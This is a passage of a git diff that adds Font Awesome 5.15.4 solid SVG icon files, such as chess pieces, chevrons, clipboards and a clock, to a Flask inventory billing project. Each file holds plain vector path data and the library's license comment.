0c-1.25-5.92-6.82-9.91-12.86-9.91H157.4a13.4 13.4 0 0 0-13.4 13.4c0 25.69-19 48.75-44.67 50.49a47.5 47.5 0 0 1-41.54-19.15c-5.28-7.09-14.73-9.45-22.09-4.54l-28.57 16a16 16 0 0 0-5.44 20.47L104.24 416h303.52l102.55-211.37a16 16 0 0 0-5.44-20.47z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-rook.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-rook.svg new file mode 100644 index 00000000..61577224 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess-rook.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M368 32h-56a16 16 0 0 0-16 16v48h-48V48a16 16 0 0 0-16-16h-80a16 16 0 0 0-16 16v48H88.1V48a16 16 0 0 0-16-16H16A16 16 0 0 0 0 48v176l64 32c0 48.33-1.54 95-13.21 160h282.42C321.54 351 320 303.72 320 256l64-32V48a16 16 0 0 0-16-16zM224 320h-64v-64a32 32 0 0 1 64 0zm144 128H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h352a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess.svg new file mode 100644 index 00000000..2c7ff038 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chess.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M74 208H64a16 16 0 0 0-16 16v16a16 16 0 0 0 16 16h15.94A535.78 535.78 0 0 1 64 384h128a535.78 535.78 0 0 1-15.94-128H192a16 16 0 0 0 16-16v-16a16 16 0 0 0-16-16h-10l33.89-90.38a16 16 0 0 0-15-21.62H144V64h24a8 8 0 0 0 8-8V40a8 8 0 0 0-8-8h-24V8a8 8 0 0 0-8-8h-16a8 8 0 0 0-8 8v24H88a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h24v32H55.09a16 16 0 0 0-15 21.62zm173.16 251.58L224 448v-16a16 16 0 0 0-16-16H48a16 16 0 0 0-16 16v16L8.85 459.58A16 16 0 0 0 0 473.89V496a16 16 0 0 0 16 16h224a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31zm92.77-157.78l-3.29 82.2h126.72l-3.29-82.21 24.6-20.79A32 32 0 0 0 496 256.54V198a6 6 0 0 0-6-6h-26.38a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H373.1a6 6 0 0 0-6 6v26h-24.71v-26a6 6 0 0 0-6-6H310a6 6 0 0 0-6 6v58.6a32 32 0 0 0 11.36 24.4zM384 304a16 16 0 0 1 32 0v32h-32zm119.16 155.58L480 448v-16a16 16 0 0 0-16-16H336a16 16 0 0 0-16 16v16l-23.15 11.58a16 16 0 0 0-8.85 14.31V496a16 16 0 0 0 16 16h192a16 16 0 0 0 16-16v-22.11a16 16 0 0 0-8.84-14.31z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-down.svg new file mode 100644 index 00000000..2ff4fd28 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504 256c0 137-111 248-248 248S8 393 8 256 119 8 256 8s248 111 248 248zM273 369.9l135.5-135.5c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L256 285.1 154.4 183.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L239 369.9c9.4 9.4 24.6 9.4 34 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-left.svg new file mode 100644 index 00000000..e57abe55 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 504C119 504 8 393 8 256S119 8 256 8s248 111 248 248-111 248-248 248zM142.1 273l135.5 135.5c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L226.9 256l101.6-101.6c9.4-9.4 9.4-24.6 0-33.9l-17-17c-9.4-9.4-24.6-9.4-33.9 0L142.1 239c-9.4 9.4-9.4 24.6 0 34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-right.svg new file mode 100644 index 00000000..5e457703 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8c137 0 248 111 248 248S393 504 256 504 8 393 8 256 119 8 256 8zm113.9 231L234.4 103.5c-9.4-9.4-24.6-9.4-33.9 0l-17 17c-9.4 9.4-9.4 24.6 0 33.9L285.1 256 183.5 357.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L369.9 273c9.4-9.4 9.4-24.6 0-34z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-up.svg new file mode 100644 index 00000000..f8d96599 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-circle-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8 256C8 119 119 8 256 8s248 111 248 248-111 248-248 248S8 393 8 256zm231-113.9L103.5 277.6c-9.4 9.4-9.4 24.6 0 33.9l17 17c9.4 9.4 24.6 9.4 33.9 0L256 226.9l101.6 101.6c9.4 9.4 24.6 9.4 33.9 0l17-17c9.4-9.4 9.4-24.6 0-33.9L273 142.1c-9.4-9.4-24.6-9.4-34 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-down.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-down.svg new file mode 100644 index 00000000..2984e74b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-down.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M207.029 381.476L12.686 187.132c-9.373-9.373-9.373-24.569 0-33.941l22.667-22.667c9.357-9.357 24.522-9.375 33.901-.04L224 284.505l154.745-154.021c9.379-9.335 24.544-9.317 33.901.04l22.667 22.667c9.373 9.373 9.373 24.569 0 33.941L240.971 381.476c-9.373 9.372-24.569 9.372-33.942 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-left.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-left.svg new file mode 100644 index 00000000..6deba1a1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-left.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M34.52 239.03L228.87 44.69c9.37-9.37 24.57-9.37 33.94 0l22.67 22.67c9.36 9.36 9.37 24.52.04 33.9L131.49 256l154.02 154.75c9.34 9.38 9.32 24.54-.04 33.9l-22.67 22.67c-9.37 9.37-24.57 9.37-33.94 0L34.52 272.97c-9.37-9.37-9.37-24.57 0-33.94z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-right.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-right.svg new file mode 100644 index 00000000..a4347ebd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-right.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-up.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-up.svg new file mode 100644 index 00000000..1209cd37 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/chevron-up.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M240.971 130.524l194.343 194.343c9.373 9.373 9.373 24.569 0 33.941l-22.667 22.667c-9.357 9.357-24.522 9.375-33.901.04L224 227.495 69.255 381.516c-9.379 9.335-24.544 9.317-33.901-.04l-22.667-22.667c-9.373-9.373-9.373-24.569 0-33.941L207.03 130.525c9.372-9.373 24.568-9.373 33.941-.001z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/child.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/child.svg new file mode 100644 index 00000000..b94d76a4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/child.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M120 72c0-39.765 32.235-72 72-72s72 32.235 72 72c0 39.764-32.235 72-72 72s-72-32.236-72-72zm254.627 1.373c-12.496-12.497-32.758-12.497-45.254 0L242.745 160H141.254L54.627 73.373c-12.496-12.497-32.758-12.497-45.254 0-12.497 12.497-12.497 32.758 0 45.255L104 213.254V480c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V368h16v112c0 17.673 14.327 32 32 32h16c17.673 0 32-14.327 32-32V213.254l94.627-94.627c12.497-12.497 12.497-32.757 0-45.254z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/church.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/church.svg new file mode 100644 index 00000000..9db6ab11 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/church.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464.46 246.68L352 179.2V128h48c8.84 0 16-7.16 16-16V80c0-8.84-7.16-16-16-16h-48V16c0-8.84-7.16-16-16-16h-32c-8.84 0-16 7.16-16 16v48h-48c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h48v51.2l-112.46 67.48A31.997 31.997 0 0 0 160 274.12V512h96v-96c0-35.35 28.65-64 64-64s64 28.65 64 64v96h96V274.12c0-11.24-5.9-21.66-15.54-27.44zM0 395.96V496c0 8.84 7.16 16 16 16h112V320L19.39 366.54A32.024 32.024 0 0 0 0 395.96zm620.61-29.42L512 320v192h112c8.84 0 16-7.16 16-16V395.96c0-12.8-7.63-24.37-19.39-29.42z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/circle-notch.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/circle-notch.svg new file mode 100644 index 00000000..7a37194d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/circle-notch.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 39.056v16.659c0 10.804 7.281 20.159 17.686 23.066C383.204 100.434 440 171.518 440 256c0 101.689-82.295 184-184 184-101.689 0-184-82.295-184-184 0-84.47 56.786-155.564 134.312-177.219C216.719 75.874 224 66.517 224 55.712V39.064c0-15.709-14.834-27.153-30.046-23.234C86.603 43.482 7.394 141.206 8.003 257.332c.72 137.052 111.477 246.956 248.531 246.667C393.255 503.711 504 392.788 504 256c0-115.633-79.14-212.779-186.211-240.236C302.678 11.889 288 23.456 288 39.056z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/circle.svg new file mode 100644 index 00000000..0bac0611 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/city.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/city.svg new file mode 100644 index 00000000..1325a653 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/city.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M616 192H480V24c0-13.26-10.74-24-24-24H312c-13.26 0-24 10.74-24 24v72h-64V16c0-8.84-7.16-16-16-16h-16c-8.84 0-16 7.16-16 16v80h-64V16c0-8.84-7.16-16-16-16H80c-8.84 0-16 7.16-16 16v80H24c-13.26 0-24 10.74-24 24v360c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V216c0-13.26-10.75-24-24-24zM128 404c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12H76c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm128 192c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12V76c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm160 288c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40zm0-96c0 6.63-5.37 12-12 12h-40c-6.63 0-12-5.37-12-12v-40c0-6.63 5.37-12 12-12h40c6.63 0 12 5.37 12 12v40z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clinic-medical.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clinic-medical.svg new file mode 100644 index 00000000..b5738f8a --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clinic-medical.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M288 115L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496a16 16 0 0 0 16 16h416a16 16 0 0 0 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2zm96 261a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8v-48a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8zm186.69-139.72l-255.94-226a39.85 39.85 0 0 0-53.45 0l-256 226a16 16 0 0 0-1.21 22.6L25.5 282.7a16 16 0 0 0 22.6 1.21L277.42 81.63a16 16 0 0 1 21.17 0L527.91 283.9a16 16 0 0 0 22.6-1.21l21.4-23.82a16 16 0 0 0-1.22-22.59z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard-check.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard-check.svg new file mode 100644 index 00000000..a4d5e5bd --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard-check.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm121.2 231.8l-143 141.8c-4.7 4.7-12.3 4.6-17-.1l-82.6-83.3c-4.7-4.7-4.6-12.3.1-17L99.1 285c4.7-4.7 12.3-4.6 17 .1l46 46.4 106-105.2c4.7-4.7 12.3-4.6 17 .1l28.2 28.4c4.7 4.8 4.6 12.3-.1 17z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard-list.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard-list.svg new file mode 100644 index 00000000..5a6a2040 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard-list.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM96 424c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm0-96c-13.3 0-24-10.7-24-24s10.7-24 24-24 24 10.7 24 24-10.7 24-24 24zm96-192c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm128 368c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H168c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h144c4.4 0 8 3.6 8 8v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard.svg new file mode 100644 index 00000000..7a3bd3e3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clipboard.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M384 112v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V112c0-26.51 21.49-48 48-48h80c0-35.29 28.71-64 64-64s64 28.71 64 64h80c26.51 0 48 21.49 48 48zM192 40c-13.255 0-24 10.745-24 24s10.745 24 24 24 24-10.745 24-24-10.745-24-24-24m96 114v-20a6 6 0 0 0-6-6H102a6 6 0 0 0-6 6v20a6 6 0 0 0 6 6h180a6 6 0 0 0 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clock.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clock.svg new file mode 100644 index 00000000..b7f11e0c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clock.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256,8C119,8,8,119,8,256S119,504,256,504,504,393,504,256,393,8,256,8Zm92.49,313h0l-20,25a16,16,0,0,1-22.49,2.5h0l-67-49.72a40,40,0,0,1-15-31.23V112a16,16,0,0,1,16-16h32a16,16,0,0,1,16,16V256l58,42.5A16,16,0,0,1,348.49,321Z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clone.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clone.svg new file mode 100644 index 00000000..8c3cd9ef --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/clone.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 0c26.51 0 48 21.49 48 48v288c0 26.51-21.49 48-48 48H176c-26.51 0-48-21.49-48-48V48c0-26.51 21.49-48 48-48h288M176 416c-44.112 0-80-35.888-80-80V128H48c-26.51 0-48 21.49-48 48v288c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48v-48H176z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/closed-captioning.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/closed-captioning.svg new file mode 100644 index 00000000..4c0b15b3 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/closed-captioning.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM218.1 287.7c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2.1 48 51.1 70.5 92.3 32.6zm190.4 0c2.8-2.5 7.1-2.1 9.2.9l19.5 27.7c1.7 2.4 1.5 5.6-.5 7.7-53.5 56.9-172.7 32.1-172.7-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 222.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-download-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-download-alt.svg new file mode 100644 index 00000000..5fe25602 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/cloud-download-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M537.6 226.6c4.1-10.7 6.4-22.4 6.4-34.6 0-53-43-96-96-96-19.7 0-38.1 6-53.3 16.2C367 64.2 315.3 32 256 32c-88.4 0-160 